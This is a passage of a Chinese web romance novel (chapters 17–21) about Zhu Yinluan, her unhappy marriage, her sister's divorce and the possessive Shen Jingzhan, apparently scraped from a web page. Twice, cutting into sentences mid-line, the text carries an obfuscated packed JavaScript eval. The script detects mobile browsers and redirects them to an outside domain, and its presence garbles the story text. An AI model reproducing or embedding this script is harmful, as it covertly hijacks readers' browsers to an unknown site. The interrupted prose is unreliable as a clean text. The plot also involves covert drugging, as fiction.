话还没说完,在楼上的郎中已经听到动静下来了。 “娘子来瞧病?是何处不适?”祝吟鸾颔首,但碍于这人在,没说具体的因由。 对方挑眉,意识到她的欲言又止,朝郎中请辞,随后便离开了。 听到郎中称呼对方沈公子,祝吟鸾心神一动,这人是沈家的? 那人已经走了。 她坐下之后,没说症状,先掏出一锭银子递过去。 随后才跟郎中道,“可否给我开一剂吃了能令身子看起来很孱弱的药方?” 郎中看了看银钱,又看了看她的脸,摸着花白胡须。 好一会没说话,收了银钱,取过一方宣纸,蘸墨动笔。 须臾之后,祝吟鸾带着药方下去找药童抓药,可方才过内院,迎面走进来一个带着随从的男人。 对方锦衣玉带,身姿挺拔出众,撞见她似乎也很意外。 俊美异常的脸上很快漾出礼貌且招人的淡笑,他道,“又见面了,娘子。” 18.第18章 回神之后,祝吟鸾退后拉开距离给他福身行礼,“世子爷万安。” 她低眉顺眼,忍不住在想,如何会在这里遇到沈景湛。 京城之大,回回出门都能碰着? 幸而这边人不多。 但奇怪的是,沈景湛竟记得她。 是了,他先向她问好的。 若是沈景湛记不得她,擦身而过,那祝吟鸾自然也顺势出去了。 可对方率先问了她,不能失了礼数。 回过神来,且不提什么记不记得的事,祝吟鸾觉得她思虑过甚。 早就听闻这位世子爷自幼聪颖,过目不忘,定然是记得的,何况她占了人家几次“便宜”。 适才在想,是走还是留下客套一两句,对方却已经张口,“娘子身子不适?” “多谢世子爷关怀,只是近来节气不好,脾胃不健而已,并无大碍。” 她跟他说话之时,卷密的睫毛低垂,看都不敢看她。 垂在袖摆之下的手是在紧张吗?沈景湛留意到她攥紧了帷帽的边沿。 尽管眼前姑娘的动作无比细微,可他还是留意到了。 微风轻拂,带着男人低沉悦耳的轻笑声传入她的耳窝。 他问,“莫不是我生得很吓人?” 祝吟鸾不明所以,下意识抬起眼睫看过去,“…什、什么?” 男人疏朗的眉眼泛着淡笑,在树荫之下显得温柔从和。 他宽肩窄腰,身姿挺阔,看一眼都令人悸动。 祝吟鸾在脑海中想到一句偶然在书本看过的诗词,陌上人如玉,公子世无双,沈景湛绝对担得起这句话,就一眼她立马垂下视线。 “娘子回回见我都避如洪水猛兽,若非我知晓娘子是要避嫌的情由,还真以为我生得吓人,叫娘子害怕。” 男人语调温柔,并无丝毫轻佻戏弄之意,倒更像是缓解她的尴尬和紧张。 祝吟鸾听了淡笑,的确略微放松,她道并非如此。 斟酌半天,只起了个话头,“世子爷是外男……” “娘子之意,我都明白。”他接过话茬,没叫她非说出所以然来。 “娘子若无旁事,那就此别过了?”他给祝吟鸾让了路。 距离拉开,非常合适。 祝吟鸾又一福身,越过他离开,男人视线扫过她腰间的荷包珠坠,她还带着上次他偷换的那个,并没有起疑。 医馆的内院环境清幽,除却淡淡的药味,祝吟鸾还闻到了淡淡的清冽味道,她很清楚,是沈景湛身上的。 “……” 女子纤细瘦弱的身影消失在医馆门口,男人转身收起脸上的温和淡笑,瞬间变得清冷淡漠,令人望而生畏,不敢靠近。 他往楼上而去,郎中见到他来,立马上来迎接,告知他方才沈家子弟来过的事情。 郎中补充,“也是为了给沈老太太抓药。” “嗯。”男人淡淡一声,言简意赅到了极点。 他坐在那小娘子适才坐的地方,修长如玉的指骨缓慢敲打着桌面,暂没说话。 郎中试探问道,“大人可是来抓之前的药方?” 这说来奇怪。 方才的小娘子来抓吃了令身子很孱弱的药方。 这位沈世子在很早之前也来抓过令男子身子亏损,房事短促早弱的药方。 起初郎中以为,是这位世子爷身子过于强.健,在内事上过于勇猛,这才要控制一二,可怎么看又不太像。 毕竟那药吃了之后,人的神色会显露淡淡的疲态,且容易躁怒,郁闷难消。 这位世子爷几次来,可都是风轻云淡,脸色很好,哪有什么疲态倦意? 更何况这位世子爷在京城是出了名的不近女色,宅院干净,从不寻花问柳。 恐怕那药不是给他自己用的吧?既然不是给他用,那是给谁用? 不管给谁用,都不能够恶意猜测这些滔天权贵们的事情。 事不关己不开口,才是明哲保身之道。 “适才那小娘子来做什么?”男人总算开口了。 郎中不明深意,却也如实回了。 听到女子抓了什么药方,他的脸上没有什么意外的神色,似乎早就知道了这件事情,可既然早就知道,又为何问。 很快郎中就知道男人为何问了。 因为他道,“这副药方不会损了她的身子吧。” 男人的眼神轻飘飘看过来,却令人不寒而栗。 郎中不自觉低下眼弯了腰,呵呵陪着笑,“那个小娘子给的银钱多,自然给她拿的都是好的药,损不了身子。” “话虽如此…”男人语调幽幽,郎中的心里慌张起来。 “是药三分毒…”沈景湛看向对方,似笑非笑。 郎中忍不住抬手擦了擦脸上的冷汗,“您放心,绝不会损了小娘子的身子,日后也能调理。” 男人微抬眼皮看了他许久。 郎中被他静默打量的视线看得腿软,心里翻着计策之时,男人再次开口,“她给你的银钱是哪锭?” 郎中忙不迭拿出来,沈景湛拿了过去,他身后的随从给郎中放了一块金的。 随后沈景湛起身,那郎中等他离开许久,才长舒一口气,拿过桌上的金元宝。 医馆门口,沈景湛坐上马车,放下车帘之时,视线往左边瞥了一眼,察觉到那边暗藏的人,却没说什么,“……” 等马车走远了,这边的小厮给跑过去给马上的公子哥回话,“世子爷已经走了。” “居然真的是堂兄啊。”沈嘉显掂着手里的马鞭挑眉道。 “的确是世子爷。” “或许是有什么药材没拿,今儿世子爷又跑了一趟吧?”手下人猜测道。 “堂兄做事向来滴水不漏,怎么会遗忘药材?”何况那还是家里祖母的药材。 话是这么说,沈嘉显还回忆着适才从医馆后门下来之时见到的画面。 堂兄的视线落到那个女子身上,两人还说了几句话。 他这位堂兄可从来不尽女色,但凡有人靠近,总离得远远的,今日怎么会看向对方,甚至还停下来与她说话了。 如果他没看错的话,那还是位已婚的妇人,发髻全都挽起来了。 “那女子的身份你果真不得而知?”沈嘉显总觉得稀奇。 被他问话的小厮面色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289221|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些许为难,“这……小的真是不知道。” “那就去查查。” “公子……世子爷怎么会跟一个妇人有什么呢?指不定是哪家相识大人的内眷吧,见着了互相问候问候。”不是没听见说什么吗。 “堂兄最是避嫌,若真是相识官僚的内眷,更是避之不及了,何须说话攀谈。” 见小厮犹犹豫豫,沈嘉显也知道他害怕什么。 毕竟京城高门的人都知道,他这位堂兄年纪轻轻爬到御前稳站中书和御史两处,压着那么多老臣官僚。 他足智多谋,聪敏近妖是一点,更因为他的手段凌厉,杀伐果决,威慑力十足。 当初京城轰动一时的“御台案”牵扯多少人,又恰逢北狄躁动,突厥吞并西域和大漠,朝廷可以说内忧外患。 这人人自危避之不及的紧要关头,沈景湛主动请缨,联并谏院挑了大梁肃查御史台。 御史台的官员可都是文科状元榜眼一流人物聚集地,又混迹官场多年,陛下都拿他们没办法。 沈景湛却只用了三天三夜就把这些人的嘴给撬开了,抓了结党营私的根基,连根.拔.起,随后他又领兵出征,击退了北狄人,把称霸草原的突厥打得溃不成军。 自此以后,他班师回朝,提至三省掌中书令,如今兼管御史台,只是挂个名字而已,可他的凶名传开了,谁都怕他。 事情过了多年,还是有人记得。 “事情查得隐蔽些,堂兄若是知道了,这不是有我吗?” 碍于沈嘉显是主子,在沈家也很得宠,小厮颔首说去查。 当日,沈嘉显便知道了祝吟鸾的名字。 “卫家少夫人。”沈嘉显回忆了一番。 “是那个……早年间犯事被贬压许久的卫家?” “对。”小厮点头,“就是卫如琢大人的夫人。” 沈家和卫家历来没有什么交情。 但这些时日,那卫家的似乎就是凭借新.政推行,就这么挤上来了。 当初的梵昌新.政,他没有记错的话,表面是太尉大人推崇的,可内里的条.约谏言,大部分是出自他这位堂兄之手。 尤其是,“贬臣后嗣”再准录用一则,不就是他堂兄添上去的。 “真是有趣。”沈嘉显笑了一下。 “事情恐怕没有那么巧合吧。” 小厮不知道他在说什么,只在一旁沉默,盼着这位小祖宗别生出什么事情来,对面可不是什么好惹的主。 便是沈家二房的大人都害怕这位隶属于“小辈”的世子爷。 沈嘉显话锋一转道,“祖母今日吃了药还是不好吗?” 小厮点头,“老太太总说身上不舒坦。” 众人都知道,老太太这病起于心,若是沈世子一直不娶妻,怕是好不了了。 “那我去看看。”沈嘉显带着人出去,小厮连忙跟上。 祝吟鸾回了卫家之后,便让姣惠熬药,她晚膳之后吃了一碗,整个人就开始发热,有些难受。 撑着脑袋昏昏沉沉之时,听到外面的脚步声,是明芽走了进来。 跟她说,“小姐,大小姐与骆家的要和离了!” 19.第19章 祝吟鸾微微涣散的意识在一瞬间聚拢,她甚至以为是她听错了,于是问,“你说什么?” 明芽急匆匆又重复了一遍,“祝家来了人请您过去呢。” 祝吟鸾反应了好一会,怎么就到了要和离的地步了,不对,是真的要和离了吗? 这药好生厉害,吃下之后,她不大舒坦,手脚有些软。 祝吟鸾换了另外一只手撑着脑袋,问明芽,“是真的要和离了,还是在吵闹?” 若是吵闹她不想过去。 将近年关,天色越来越冷,今夜瞧着恐怕又要落雨了,外面风声呼啸吹得很厉害。 “奴婢也问了,婆子说是真的要和离了,请各家的宗族耆老去做见证呢。” 祝吟鸾问了问时辰,又瞧着天色,“这么晚了?” 明芽,“骆家的人都来了,这一次恐怕......” “夫君回来了么?”她问。 “小姐,您的脸色似乎不大好。”祝吟鸾坐直身子以后,明芽注意到她的脸色呈现出不正常的白。 “没事。”祝吟鸾摆了摆手。 “夫君可回来了?” “没有。”明芽告知她,婆子道卫如琢已经在那边了。 她顿了一下,想到那日回去,卫如琢放在她长姐身上的目光,以及那碗她亲手熬制又被倒掉的解酒汤。 “既然夫君已经去了....”她知道这样不好,可还是很想任性一回。 “你去外面递话,就说我身子不适,恐怕不好到场。” 明芽点头,招呼姣惠和小丫鬟照拂祝吟鸾,随后又问她要不要去找个郎中来? 祝吟鸾摇头,“不用。”她这本来就是吃药才弄的症状,哪里能够请郎中来戳穿自己。 可明芽出去没一会,那婆子竟然跟着她进来了。 不管在场有谁,也没行礼问安,拽着祝吟鸾便数落道,“我说三小姐,这大小姐出事,您作为祝家的一份子,如何能够不去给大小姐撑场子。” “我身子不适。”祝吟鸾挣开她的手。 这婆子手劲太大了,捏得她的手好疼。 明芽让她松开,她全当没有听见,拽着祝吟鸾就往外面走。 这时候姣惠往前,也不知她是怎么动手,又是戳到了婆子的什么地方。 那婆子哎哟一声,捂着肚子喊疼,嘴里骂着姣惠是个贱蹄子,看到她脸上的胎记,说她是个丑八怪,还要扑上来打人。 祝吟鸾看着眼前的闹剧,把挡在前面的姣惠给拽到了她的后面,叹出一口气,出声制止,“好了。” “长姐的事情要紧,先去找长姐吧。”她让婆子带路。 那婆子唧唧歪歪又埋怨了好一会,瞪着祝吟鸾背后的姣惠。 怕婆子继续不依不饶,到了祝家,借着嫡母的势力欺负人,她把姣惠留了下来。 时辰已经不早了,出门之前要跟庞氏说一声,可没想到她还没有派人过去,那婆子便道庞氏已经知道了。 祝吟鸾一顿,随后忍不住在心里自嘲一声,原来是有她婆母的授意。 难怪婆子比往日还要不讲规矩,直接进入内室就拽着她往外走。 她说呢,这婆子往日里就算是猖獗,好歹也顾忌着里外,今日如何这样肆无忌惮。 祝吟鸾捏着眉心,整个人很难受。 明芽看着她脸色苍白,实在担心,“小姐,您怎么了?” “要不奴婢去给您找郎中来。” “罢了,我只是刚刚被捏得手疼,心里有些烦闷,没什么大事。” 言落于此,祝吟鸾闭上眼睛假寐,马车赶得很快,没多久便到了祝家。 当真是闹到了要和离的地步,祝家不少族老都来了,骆家同样如此,两家的人对列而坐,气氛凝固,闹得很僵持。 尽管人多拥挤,祝吟鸾还是一眼看到她的夫郎,她的身边人,站在她的长姐旁边,面露担忧看着她的长姐,完全没有察觉到他的正妻已经来了。 是旁人提醒之后,卫如琢方才投过来一眼,也只是轻飘飘的一眼而已。 祝吟鸾心头黯然萦绕,她觉得很难受,不知道是不是药物的作用,鼻尖都酸涩起来,可又生生忍了回去。 正如她所料,她到这里来,并没有惊起多大的浪花。 她只是一个出嫁的庶女而已,纵然脸上有荣光,也不过是冠着卫家的夫姓。 卫家的掌权人卫如琢都来了,她来不来也没什么用,不过就是凑个人数而已。 骆家的人见到她来,甚至难掩轻蔑,祝家的族老也没多看她几眼便收回了视线。 祝吟鸾请安之后,站到卫如琢的身侧,她叫了他一声夫君,他只是嗯了一声,没有看她,更没有留意到她的脸色不好。 祝吟鸾看了一眼,卫如琢的脸色一直看向她的长姐,亦或者跟骆暄对视。 他在为长姐撑场面出头,脸上是少见的严肃与怒容。 她许久没见到他这样了…… 不,准确来说,是她很久很久没有见到卫如琢为了维护谁露出这副神色来。 骆暄旁边站着那名女子,旁边是那个孩子。 和离书竟然已经摆到了上面,旁边还有见证的官员,是跟祝家.交好,在户部任职的官员。 骆大人问,“这件事情没有商榷的余地了吗?” 祝沉檀不说话,是朱夫人为她辩驳道,“我们祝家虽然不是什么京城高门,到底有自己的家风在此,怎么可能会让一个窑娘进门,这件事情彻底作罢。” 什么窑娘?那名女子是窑娘? 祝吟鸾看过去。 骆暄在这个时候开口,“芬娘并非窑娘,她只是帮窑.子里的姑娘送过胭脂水粉而已,并非窑子里的人,她所做一切,都是为了养活我和她的孩子。” “谁家清白姑娘会去窑.子里?表面上说得好听,背地里谁知道干什么勾当?” 这句话可不只是打骆暄一个人的脸,是打了整个骆家的脸。 骆夫人和骆大人的神色都变得不太好。 祝大人假模假样训斥朱夫人不要乱说。 朱夫人这个时候曲回婉转,“我也是为了祝、骆,两家的名声着想,别看这个孩子长得像骆暄,可谁知道是不是他的子嗣呢?” 站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295578|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骆暄旁边的女子忍不住辩驳,她声音很轻,张口温柔婉婉,眼泪汪汪,“锋哥儿是暄郎的孩子,真的是……” “若是能够让锋哥儿进门上族谱,我愿意以死证明清白,不叫两家大人夫人们为难。”说着她就要当着众人们去撞墙。 骆暄及时将她给拦了下来,将她揽到怀中哄着她。 他对这个女人十分疼惜,看得出来,两个人之间是有情的,且情意不浅。 祝吟鸾留意到她的长姐,拳头攥得指骨泛白,眼神若是能够化成利刃,必然要将那个自称芬娘的女子洞穿几百遍了。 明芽趁着众人不留意这边,偷偷凑到祝吟鸾耳边跟她说了来时探听到的消息。 这个芬娘,本名叫应如芬,是骆暄的远房表妹。 两人很早之前就相识了,几乎可以说是青梅竹马。 可后面,应家获罪流走,家眷基本都被发卖了,女眷倒是没有放到窑子里,可到底贬了身家,两人就没有成事。 可谁知道后来两人又有了联系,甚至还有了孩子。眼看着孩子大了,该进学了,总不能一直藏着,便要认祖归宗,这才闹到骆家来。 现在谁都不让步。 祝吟鸾默默听完,心里五味杂陈。 她回想起很早之前的事情,当初长姐和骆暄,是在京城长街上,骆暄对长姐一见钟情。 家中人都说是因为长姐的美貌令他一眼之后难以忘怀,长姐为此没少在她面前提及炫耀,说她比她生得更美。 可实际上,骆暄瞧上的,竟是长姐相似应如芬的那几分…… “够了。”骆大人拍桌开口。 应如芬没有再哭,场面静谧下来。 骆大人问了祝沉檀,这件事情果真没有商量的余地了? 祝沉檀也是说了一番漂亮话,说她难当骆家夫人大任,只能“退位让贤”了。 祝吟鸾却觉得心中不安,也不知为何。 她也不知道自己在害怕什么。 长姐之前总跟骆暄吵闹,为他去吃酒的事情哭泣不休,话里话外少不了埋怨,可在祝吟鸾听来,还能够感受到长姐对骆暄的爱意,如今她竟然没有丝毫留恋要和离了。 是因为得知应如芬的存在膈应难受,促使爱意灰飞烟灭,还是因为……别的什么呢? 祝吟鸾的余光,忍不住看向卫如琢接过婆子端上来的,放到她长姐手边的茶盏。 她的唇瓣翕动,又被抿紧,“……” “既如此,那便和离吧,依照祝家所言,这件事情是我们骆家做得不好,委屈了儿媳妇,嫁妆全都退回去,我们骆家再额外补一些田地庄子给祝家,对外宣称是骆暄的错,绝不损了祝家,也……盼着两家和气交情勿要就此断绝。” 说是不损,怎么可能。 男女和离,遭受诟病最多的,还是女子。 但事已成定局,两人最后还是骆、祝两家族老的见证之下,签了和离书。 祝吟鸾看着骆家的人走了,她刚要问卫如琢要不要也走。 可卫如琢却先一步问她,“你怎么来了?” 这语气似乎并不希望她来。 20、第20章 他不像是询问,更像是质问,质问她怎么来了。 可明明是家里的婆子去找了她来,她何曾想来,看到她的身边人对她的长姐无微不至的关怀,她心里不难受吗? 祝吟鸾唇瓣微张,身子不适的感觉涌了上来,鼻尖又十分酸涩,话还没有说出来。 朱夫人身边的丫鬟急匆匆走出来,说祝大人让卫如琢过去呢。 卫如琢也没管她,径直离开了。 祝吟鸾看着男人渐行渐远,步履匆匆的背影,眼睫不受控制颤粟了许多下,视线渐渐变得朦胧,浑身脱力似的难受。 “小姐…”明芽上前扶住她。 骆家的人走了,前来见证的人走了,祝家的人也没管她。 方才还拥挤的厅堂,此刻变得无比肃穆空荡,祝吟鸾只觉得她被冰冷桎梏,浑身汗津津。 “小姐,我们要……” “回去吧。”祝吟鸾收回视线,带着明芽默默离开。 回去的路上,在马车里,她还是忍不住掉了眼泪。 分明是可以忍住的,前些时日也好了很多,如今也不知是怎么了。 或许是吃了那药的缘故,她怎么都忍不住了,眼泪自打掉下来,开了闸就忍不住。 她明明不想过来的,家里的人非要叫她去,到底是母亲的授意,还是姐姐故意的?是让她过去看到卫如琢为祝家,不,是为姐姐冲锋陷阵。 可也不知为何就是忍不住,她哭得前所未有的厉害 明芽本来就一直注意着祝吟鸾,尽管祝吟鸾忍了又忍,可在这寂静无声的巷子里,明芽还是听到了些许抽泣的声音。 她撩开车帘一看,见到马车角落里蜷缩成一小团的姑娘。 黑暗笼罩着她,她小小的脸垂着看不清楚神色,瘦削的肩膀时不时抖动,看得人心里一紧。 明芽连忙叫停马车,上去陪她,安抚她。 见到祝吟鸾满脸的泪痕,也忍不住跟着哭。 作为陪着祝吟鸾一路走过来的人,再没有人比明芽更清楚,她有多委屈和孤独了,这些年熬得很艰辛。 祝吟鸾哭得有些许崩溃,此刻回去,要是被下人瞧见了,指不定会传到庞氏的耳朵里,未免多事。 看着她脸色不好,明芽让车夫去找医馆。 这车夫还以为要去白日里去过的医馆,直接赶马便去了。 待停下来之后,明芽问这是哪里? 祝吟鸾没有再哭,只是眼泪流多了,眼睛肿得像核桃。 她看着巷子,想到姣惠跟她说的那街市,多是一些外乡人,应当没人注意她,便下了马车,带着明芽绕过巷子闲逛。 起初明芽见到这个巷子还有些许害怕,可见祝吟鸾带着她穿过,这才疑问她怎么会知道? 祝吟鸾心绪不高没说话。 白日里就僻静的巷子,到了夜里更是安静,但少了京城督查司巡逻的人,街边支起了不少摊面,摆着桌椅板凳,有卖汤圆小食等物,也有炊饼米粉。 “小姐,您晚膳没用多少,此刻要不要用些什么?”两人没走到转角,明芽自然没看到医馆。 她见到祝吟鸾看着一家辣汤面的摊子,问她想不想吃? 祝吟鸾看了好一会,耸吸着鼻尖走过去。 明芽连忙跟上,见祝吟鸾坐下,她跟店家要了一些小食。 辣汤面端上来的时候,明芽担心她吃不了,因为她往日里的饮食便很清淡,说帮她把红汤舀掉,可祝吟鸾说不用,接过木筷,低头慢吞吞吃,整张小脸几乎都要埋到碗里。 看不清楚她的神色了,但明芽看到她的眼泪珠子砸到了碗里。 明芽从旁边拿了帕子给她,她没要。 天色本就晚了,这边渐渐没了人。 祝吟鸾抬头告诉明芽,转角处有一家医馆,让她去帮忙抓些药,怕明日胃肠不爽利,明芽放心不下她一个人在这里,却又拗不过她,只能去了。 没一会,旁边有人坐下,祝吟鸾以为是明芽去而复返,但旁边人的身形似乎很高大,几乎将灯笼烛火的光影全都给笼罩完全了,她不得不抬头看去,却见到一张俊美的侧脸。 “……?” 对方还没留意到她,眼神盯着摊主在搓甩的面条,是察觉到了她的视线,方才转过来,“祝娘子?”他疑问。 瞧见男人眼里的疑问和惊诧,祝吟鸾也知道是为何。 她此刻狼狈不堪,眼睛肿得难看,唇也辣得难受,自然是丑了。 难为对方还能认得出来。 可她哪里知道,落到男人眼里的她,活像只被欺负狠了的兔子,没有狼狈丑陋,只有无尽惹人的楚楚可怜。 “祝娘子怎会在此?”男人主动开口询问。 似乎怕她难堪,还风趣生动化解了她的尴尬。 “早听闻这边摊主的辣汤面做得不错,竟令娘子尝味喜极而泣,看来今日我也应该吃吃看了。” 男人话语匍落,他旁边的随从很有眼力见去跟摊主要了一碗,说要跟祝吟鸾一样的。 祝吟鸾被他的话惹笑了一下,确实没那么无措尴尬,她耸了耸鼻子,拢了拢身上的斗篷。 这才想起来问,“世子爷怎会在此?” 短短一日,碰到沈景湛两次。 此刻的祝吟鸾无心计较什么巧合,她完全没有深究的心思。 “家里祖母病了,今日抓的药少了一味药材,适才过来拿,小妹念叨吃食,便打算给她带一份回去。” “适才只见这边有年轻姑娘在坐着吃面,料想摊子味道不错,却不防竟是娘子在此。” 他算是解释清楚了,祝吟鸾心头本就没浮现的疑问更是烟消云散,她颔首,“原来如此。” 这句话落了之后,两人都没开口。 祝吟鸾都做好了沈景湛可能会问她为何出来没带人在身边的准备,可沈景湛没有问。 他或许已经看穿了她有难言之隐,所以没有问。 她不得不再次在心中感慨,这位沈世子真真是体贴入微,极有行事分寸。 辣汤面端上来之后,他拿了木筷,低头尝了尝。 祝吟鸾看他动作慢条斯理,举手投足优雅好看。 只是在吃的时候,眉头微皱,似乎也不能吃辣。 她道,“若是世子爷觉得辛辣难受,可以喝那个。” 她指了指旁边,辣汤面配的葱花汤,祝吟鸾方才吃了,觉得很不错,主要是解辣。 沈景湛听她的话端起来喝了。 “的确很好。”男人的眉头舒展,薄唇微抿。 难得见他吃囧,实在新奇。 祝吟鸾有些许想笑,但当着人家的面怎么能笑?所以她没有露出任何情绪。 经此插曲,她感觉到自己好多了,回神之后又觉得男女有别,这里虽然僻静人少,可沈景湛在京城实在太有名了,万一被人看见起步时徒惹是非无穷? 于是祝吟鸾想了个借口,跟沈景湛道,“我的婢女前去抓药,此刻还没有回来,我也吃好了,便去瞧瞧,世子爷且在后面了…” 可沈景湛道,“正巧我派去的小厮也还没回来,我让身边的人去看看吧。” 祝吟鸾没说话,她不相信沈景湛瞧不出来她请辞的意味,可他开口阻止了。 不等她再说话,男人便已经解释清楚,“娘子有所不知,最近京城不太平,虽然有督查司的巡守,入了深夜,还是要注意些。” “待我的人带了娘子的婢女回来,我差人暗中护送你们回卫府,如此要好些。” 祝吟鸾暗觉他妥当之余,又觉得她亏欠太多了,神情犹豫,“卫家马车就在附近,应该无碍,就不劳烦世子爷了。” “话虽如此,还是确保安全为上,娘子放心,我的人不会露面。” “世子爷如此……” “我知晓娘子要说些什么,若是娘子觉得亏欠,日后我有需要的地方,还请娘子施以援手做归还就是了。” “话虽如此,我一身低微,哪里能够帮上世子爷什么呢……” 她对沈景湛而言有什么帮衬?用处? 她不免想到这些年庞氏对她生不出孩子的贬损,家中亲眷对她的忽视和奚落,心绪又低了下来。 “人活在世总有益用,娘子是聪慧的人,为何一定要因旁人眼神而困顿自己,岂非自寻烦恼吗?” 祝吟鸾听到这句话,不禁抬眼看向男人。 他声音温和,神色在烛火笼罩下竟也显得温柔,除此之外,她还觉得……熟悉,好像在哪里见过,可想不起来。 “大用小用,何以区分大小?在我看来,既有用处便是好的。” “譬如那包龙涎香,娘子总耿耿于怀,可说破天的贵重,也只是一味香料药材而已,能治病救人便好,否则白白放着也是浪费。” 这番话,男人说第二次了。 他淡笑,“人命关天,岂能用银钱衡量?” “我讲这些并非说教娘子,只是觉得娘子心绪不高,便想尝试开解一二,若有冒犯,还请娘子不要见怪。” “怎么会。”祝吟鸾道,“世子爷是个好人。” 沈景湛看着她低垂的脸,听到这句话,不知为何轻笑了一声,“…嗯。” 听到男人闷笑,祝吟鸾不由自主也跟着嗯了一声,她攥紧手指,“……” 这时候明芽也跟着沈景湛的随从回来了,显然是那随从说了什么,明芽见到沈景湛并没有露出意外。 两人再没说什么,只是临分开之时,沈景湛给她送了一小盒糕点,说是从宫里带的,家里小妹不喜欢,丢了又是可惜,若是她不嫌弃可以尝尝。 他适才说了那么一番话,祝吟鸾不好拂却,否则不就是驳了他的意思吗,便道一声谢接了过去。 这回去的路上,她往后看了一眼。 祝吟鸾只以为沈景湛派了人跟着护送,却不知道,是男人亲自相护。 他在不远的暗处,幽深的眸子牢牢锁定马车,那视线透着绝不许她脱离他掌控的晦暗。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 21、第21章 深夜的卫家一片寂静,庞氏早就歇息了,也没见她身边的人过来守着,祝吟鸾微微放松了些许。 守门的小厮抱着臂膀在石墩旁边打盹,见到祝吟鸾来吓得连忙开门,见人冷得哆嗦,祝吟鸾叫人送了棉被去。 又嘱咐明芽,催着库房早点给丫鬟小厮们备办冬袄,否则节气过了关口,涌入京城,那可真是措不及防了,免得冻坏了大家。 回了院子,匆匆梳洗之后躺下,祝吟鸾只觉得浑身脱力一般,虽然疲累,却诡异的松乏了。 她的头脑清醒了不少,回想起适才遇到沈景湛,他跟她说的那番话。 何必因旁人的眼神而困顿自己,岂非自寻烦恼。 是啊,他说得对。 除此之外,她还不可避免想到男人在烛火笼罩之下显得熟悉的温柔侧脸。 这股熟悉……其实说起来,在前几次遇到沈景湛之时,她都有这样的感受。 只是……只是什么呢? 她见过沈景湛吗?似乎没有。 祝吟鸾思来想去,渐渐入了梦。 这一次,她又开始做梦了,梦境和之前的差不多。 只是隔了几日,卷土重来,她觉得恍惚,梦里的片段跟她之前梦到的都差不离,梦里的她在跟一个瞧不清样貌的男人说话,那药还未散尽效力,她睡得实在昏沉,听不清说什么了。 再后来,画面一转,又变成了一个无比旖丽的梦境。 起先是她浑身燥热,旁边的男人安抚着她,可见她低低哭泣,他将她整个人拢到怀里,原本只是替她擦眼泪而已。 祝吟鸾都不知道是从何处开始,原先给她擦拭眼泪的指腹竟变成了他的薄唇。 他没有再替她擦拭,而是替她轻吻而去。 密密麻麻的吻落在她的脸上,再然后就是之前梦到的锦被翻浪的过程。 她被他攥着细腰,挪来挪去。 这个梦实在是太真实了,祝吟鸾仿佛身临其境。 就连男人捏着她腰身,彻底释于她之内的那一瞬,她整个人都被他的灼热给淹没了。 也是因为此,她整个人醒了过来。 祝吟鸾喘着气,发现天色幽暗。 今日守夜的人是姣惠,听到祝吟鸾的声音,立马就走进来了。 “小姐,您还好吗?”她问的是祝吟鸾吃了那药的反应。 “还好……”匍一开口,沙哑得要命。 姣惠连忙去给她端了一碗热茶来,扶着祝吟鸾起来喝。 “小姐,那药烈性恐怕伤了您的身子,您若是……” 她话还没有说完,就拿了一个瓷瓶放到她的手边。 祝吟鸾问是什么? 她说是吃了能让人变得病怏怏的药,但不会伤了身子。 “你怎么会有这样的药?”祝吟鸾疑问。 “奴婢先前不知道小姐要这样的药。”她解释说走街串巷之时,为了混口饭吃,总得弄一些歪门邪道,这是那时候弄的,虽然放得久了,但还是有效用。 祝吟鸾没犹豫太久,接了她的瓷瓶。 她躺下之后实在是睡不着,便隔着幔帐问姣惠,先前走街串巷的时候,知不知道沈景湛?准确来说,是沈景湛之前的事情。 幔帐遮住了,祝吟鸾没看见姣惠听她提起沈景湛之时,骤然变化又很快压下去的神色。 “奴婢听到的也只是一些人尽皆知的传闻。” “便说是沈世子才高八斗,人中龙凤,其余再也没有了。” “先前的事情一点风声都没有吗?”祝吟鸾不死心。 姣惠摇头,“奴婢的确不知道。” 祝吟鸾叹出一口气,却又觉得是情理之中,沈景湛的事情,旁人怎么会轻易知晓? “歇吧。”她没有再问,姣惠也从心里松了一口气。 “……” 卫家暂得太平,沈家此刻却灯火通明。 沈老太太夜里起风以后便醒了,问起沈景湛的下落,得知他方才回来。 沈老太太问下人他去了何处,下人说不知道,又问了沈景湛从何处回来,下人也还是说不知道。 这哪里是不知道,分明是不敢说。 于是,沈老太太哼笑一声叫人去把沈景湛给喊过来。 他原先还不来,说是天色晚了,没什么要紧事不打扰老太太休息。 老太太岂不知道他的性子,叫人放话,若是他不去,她便要亲自过来了。 沈景湛倒也不是不能够直接离开,可老太太折腾,若是不顺她心意,明日只怕还有得闹。 男人姗姗来迟,沈老太太看着他到了跟前恭敬请安。 也没叫他坐下,好一会才问,“这么晚了,打哪来?” 沈景湛轻笑,答非所问,“祖母身子可好些了?” “呵呵……”沈老太太摆架子冷笑,“我这身子好不好,你不是最清楚吗?” “祖母说的哪里话,孙儿不明白。”沈景湛的俊脸上依然挂着淡淡的笑。 沈老太太看他风轻云淡的样子就恨铁不成钢。 外人看着沈家千好万好,尤其是她这个嫡长孙子,位列京城公子序首,比已故老侯爷,现如今的侯爷都要出色。 可谁知道沈景湛也是个不省心的,这都过了多久了,还不娶妻生子,每日不着侯府,早早就搬了出去,要想见他一面,还十分不容易,有时派人去找他,还找不到。 